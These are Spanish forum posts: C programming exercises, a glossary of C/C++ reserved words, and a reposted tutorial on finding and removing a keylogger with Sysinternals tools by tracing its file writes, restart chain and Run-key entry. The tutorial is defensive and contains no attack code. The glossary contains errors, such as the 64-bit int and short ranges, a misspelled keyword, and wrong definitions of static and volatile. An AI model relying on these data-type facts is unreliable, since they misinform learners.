22. Escriba un programa que calcule la potencia entera de un número entero de forma iterativa y de forma recursiva.
23. Escriba un programa que inicialice un array de enteros. Calcule e imprima su suma, media, mínimo y máximo.
24. Escriba un programa que contenga dos arrays y utilizando punteros genere un tercer array con la suma de los otros dos.
25. Escriba un programa que utilice una función para intercambiar dos valores. Hacerlo para dos funciones, una con llamada por valor y otra por referencia.
26. Escriba un programa que pida una cadena por el teclado y la imprima después de convertir el primer carácter en mayúscula y el resto en minúsculas.
27. Escriba un programa que lea una cadena desde el teclado y cuente el número de caracteres de tres categorías: letras (a-z y A-Z), dígitos (0-9) y otros caracteres. Utilice las funciones isdigit() e isalpha() definidas en la librería ctype.h.
28. Escriba un programa que lea una cadena y busque un carácter en ella.
29. Escriba un programa que inserte un carácter en una determinada posición de una cadena.
30. Escriba un programa que copie un fichero a otro.
#28
C / C++ / Palabras reservadas C/C++
Febrero 23, 2010, 05:12:05 PM
Este es el listado de las palabras reservadas en C y las que se agragaron en C++






auto

break

case

char

const

continue

default

do

double

else

enum

extern

float

for

goto

if

int

long

register

return

short

signed

sizeof

static

struct

switch

typedef

union

unsigned

void

volatile

while

Algunas de estas palabras en C tienen nuevos significados o han sido sobrecargados en el mundo de C ++, la lista siguiente muestra las palabras que se han cambiado.


struct

static

const

enum

La siguiente lista muestra las palabras que han sido agregadas en C++.

bool

catch

class

delete

friend

inline

new

namespace

operator

private

protected

public

tempate

this

throw

try

template



    *

      int: un tipo de dato entero con signo de 16, 32 ó 64 bits, dependiendo del compilador. En sistemas de 16 bits su rango de valores es de -32763 a 32762. Para sistemas de 32 bits el rango se de -2147483648 a 2147483647. En sistemas de 64 bits el rango será de 1.7+/-308. Actualmente son muy pocos los compiladores con capacidad de manejar datos de tipo int de 64 bits, lo usual son sistemas de 16 ó 32 bits.
    *

      float: Un número real de 32 bits cuyo rango vá de 3.4+/-38. Generalmente su precisión es de 7 dígitos.
    *

      long: Un número entero de 32 bits de rango igual a -2147483648 a 2147483647.
    *

      double: Un número de 64 bits y de rango igual a 1.7+/-308 con una precisión en general de 15 dígitos.
    *

      short: Un número de 16 bits de rango igual a -32763 a 32762.
    *

      char: Un tipo de dato específico para manejo de caracteres de 8 bits de rango igual a -128 a 127.
    *

      unsigned: Modificador que se aplica a los tipos de datos enlistados arriba, su efecto es eliminar el signo a el tipo de dato aplicado, por ejemplo, para un tipo de dato int podemos especificar unsigned int en cuyo caso el rango para el tipo de dato int cambia de ser -2147483648 a 2147483647, por éste nuevo rango: 0 a 4294967295.
    *

      signed: Modificador que forza al compilador a utilizar un tipo de dato con signo si antes se declaró como de tipo unsigned.
    *

      volatile: Especifica una variable que almacena datos cuyo contenido puede cambiar en cualquier momento sea por la acción del programa ó como reacción de la interacción del usuario con el programa.
    *

      const: Especifica una variable cuyo contenido no puede cambiar bajo ninguna circunstancia.
    *

      enum: Especifica un conjunto de variables que toman valores en un orden específico y consecutivo.
    *

      static: Especifica una variable que sólo puede cambiar por efecto del programa.
    *

      typedef: Define un tipo de dato para fácil manejo del programador basado en los datos definidos por el compilador. Muy útil cuando se programa en lenguajes diferentes al inglés.
    *

      sizeof: Función que devuelve el tamaño en bytes del tipo de dato al que se aplica.

     Otro conjunto de palabras clave nos sirve para especificar instrucciones propias de C con carácter de control del flujo de datos:

    *

      if: Instrucción condicional,
    *

      else: Se utiliza conjuntamente con la instrucción if,
    *

      switch: Estructura condicional,
    *

      case: Define los elementos de una estructura condicional switch,
    *

      default: Define las acciones a ejecutar no especificadas por una instrucción case dentro de una estructura condicional switch,
    *

      break: Obliga a salir de una estructura condicional switch,
    *

      for: Bucle que se ejecuta tantas veces como se cumplan las condiciones especificadas dentro del paréntesis de la instrucción,
    *

      while: Bucle condicional que se ejecuta conforme la condición entre el paréntesis sea cierta,
    *

      do: Bucle condicional que se ejecuta en conjunto con la instrucción while,
    *

      continue: Instrucción para suspender un ciclo de un bucle,
    *

      goto: Instrucción que ejecuta un salto a otra parte del código,

     El siguiente conjunto de palabras clave designa una serie de instrucciones que implementan diversas construcciones útiles en C

    *

      struct: Define una estructura,
    *

      return: Especifica el dato que devuelve una función.
    *

      union: Un tipo de dato compuesto de otros datos definidos,
    *

      register: Permite almacenar un dato en el registro del sistema.
    *

      extern: Especifica una variable ó función que se encuentra en un archivo fuente diferente.
    *

      void: Especifica que una función no devuelve valor alguno.
    *

      auto: Una de las cuatro clases de almacenamiento de datos, auto es la opción por defecto, las otras tres son register, static y extern.

     Adicionalmente su compilador puede definir algunas palabras clave, mismas que estarán enlistadas en la documentación del mismo.







No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#29
Bueno, curiosiando por la web, me encontre un tutorial muy bonito que nos explica de forma facil y rapida como saber si estamos infectados con un keylogger, y si es el caso eliminarlo.





Detectando Y Eliminando Keyloggers

Durante este post volveremos a hablar, como no, de algunas de las herramientas de la suite de Sysinternals, aplicándolas a un caso práctico en donde se analizará el comportamiento de aplicaciones tipo 'keylogger' para aprender a detectarlas y eliminarlas. Para ello utilizaremos tres aplicaciones de Sysinternals, las cuales ya recomendé anteriormente. Estas aplicaciones son No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (ProcMon.exe), No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (ProcExp.exe) y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (autoruns.exe) .

Todas estas aplicaciones y muchas más están contenidas en la suite de Sysinternals, descargable desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

ProcessMonitor es una herramienta permite monitorizar todas las llamadas que realizan los procesos con respecto al sistema de archivos, registro de Windows, y creación subprocesos o hilos. Esto nos servirá para mantener nuestro equipo seguro en caso de tener sospechas o indicios de que nuestras conversaciones están siendo capturadas mediante un software que guarda en un fichero, o envía a través de una conexión ftp, email, etc nuestras conversaciones.

Para iniciar el análisis, ejecutaremos la aplicación ProcMon.exe. Nada más abrir esta aplicación nos pedirá que especifiquemos filtros en los eventos capturados, para poder afinar la búsqueda.



Introduciremos dos filtros, que capturarán los eventos de escritura de archivos y envio de datos a través de conexiones TCP.

· FileWrite

· TCP Send

Para ello, desplegaremos el primer 'Listbox' y seleccionaremos 'Operation', en el segundo desplegable seleccionaremos la opción 'is', en el tercer desplegable escribiremos 'WriteFile', y en el ultimo indicaremos 'Include'. Una vez hecho esto haremos clic en 'Add' para agregar este filtro, y a continuación realizaremos los mismos pasos para agregar el filtro de 'TCP Send' en vez de 'WriteFile'. De esta forma estaremos monitorizando todas las escrituras en disco y envío de datos a través de conexiones TCP de cualquier proceso del sistema.

Nos debería quedar un filtro como el siguiente:



Antes de hacer clic en 'OK', deberíamos cerrar todas las aplicaciones posibles que estemos usando, ya que si realizan escrituras en disco o conexiones TCP, sus eventos se verán reflejados y podrían interferir en nuestro análisis, siendo más complejo para nosotros la localización del 'keylogger'.

Una vez esté todo cerrado excepto el ProcessMonitor (ProcMon) , podremos hacer clic en 'OK'.

Ahora, si hacemos clic en la lupa que se ve en la captura de pantalla, empezará a capturar eventos. Si sobre la lupa aparece una 'X' roja es que la captura de eventos está parada, y puede ser iniciada haciendo clic sobre ella.



Ahora, deberíamos forzar al keylogger a que guarde el buffer de lo que estamos escribiendo en un fichero, o lo envíe por TCP a algún equipo. Para ello, abriremos la aplicación Notepad, y escribiremos en ella. Utilizaremos también combinaciones de teclas como 'copiar y pegar', ya que la mayoría de los keyloggers capturan esta combinación y guardan su contenido inmediatamente.



Se puede ver, que la aplicación 'SVCHOST.EXE' está realizando escrituras en la ruta 'C:\Windows\System32\DGL\INFO.DGL' a la par que me dedicaba a escribir en el notepad.

La aplicación 'SVCHOST.EXE' es la encargada de lanzar los servicios instalados en nuestro servicio, por lo que lo más probable es que el 'keylogger' se haya instalado como tal.

Para asegurarnos de que se trata de la aplicación que estamos buscando, analizaremos el contenido del archivo sobre el cual se está escribiendo:



Evidentemente, tal y como se sospechaba, el fichero INFO.DGL contiene el contenido capturado de las pulsaciones de mi teclado.

Ahora ejecutaremos la otra herramienta de Sysinternals: ProcessExplorer (ProcExp.exe). Es importante ejecutar esta aplicación con permisos de administrador.

Ordenaremos la lista de aplicaciones por nombre de proceso, y buscaremos el nombre del servicio para poder pararlo y eliminarlo.



Al analizar los procesos con Process Explorer, observamos varias cosas:

· El 'keylogger' se hace pasar por un servicio que ejecutado a través de SVCHOST.exe original (c:\windows\system32\svchost.exe), sin embargo es ejecutado desde otra ruta (c:\windows\system32\DGL\SVCHOST.EXE).

· El proceso SVCHOST.EXE que corre el 'keylogger' no está firmado por Microsoft, el cual si debería estarlo si fuera un servicio.



Una vez matamos el proceso, vemos que vuelve a ejecutarse. Esto significa que hay otro proceso en memoria que se encarga de la ejecución de c:\Windows\DGL\SVCHOST.EXE cada vez que este no está en ejecución.

Para localizar que proceso se está encargando de la ejecución del 'keylogger' volvemos a utilizar Process Monitor (ProcMon.exe), borraremos los filtros introducidos anteriormente y pondremos un filtro en la detección del evento de operación 'Process Create', quedando como la siguiente captura:



Ahora que estamos auditando los eventos de ejecución de procesos, volveremos a utilizar Process Explorer para matar al proceso 'SVCHOST.EXE', y podremos ver que el proceso que lo vuelve a ejecutar es 'C:\WINDOWS\SYSTEM32\DGL\SERVICES.EXE'.



Tras matar el proceso SERVICES.EXE, se detectó que SVHOST.EXE volvía a llamarlo para asegurarse su ejecución.

Ante estos casos donde existen dos procesos que se ejecutan el uno al otro, es necesario matar al proceso padre y todo el árbol de subprocesos. Esto es posible en Process Explorer haciendo clic sobre 'Kill Process Tree'.



Ahora que no tenemos el Keylogger ejecutado en memoria, deberíamos asegurarnos de su deshabilitación eliminando las entradas del registro, o los mecanismos que utilize para su ejecución en el proximo arranque del sistema. Para ello utilizaremos Autoruns (autoruns.exe) de Sysinternals.



Buscando la cadena '\dgl\' (En File -> Find) localizaremos las entradas que contengan el directorio \DGL\ en su ruta de ejecución, detectando una entrada en 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' con el nombre de 'SystemKbs'.

Basta con eliminar dicha entrada del registro para asegurarse de que esa aplicación no se volverá a ejecutar en el arranque del sistema. Ahora solo queda eliminar los ficheros de C:\Windows\System32\DGL\ y el 'keylogger' estará completamente borrado.




No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Y Esto mismo se puede aplicar a los troyanos y virus.

Saludos!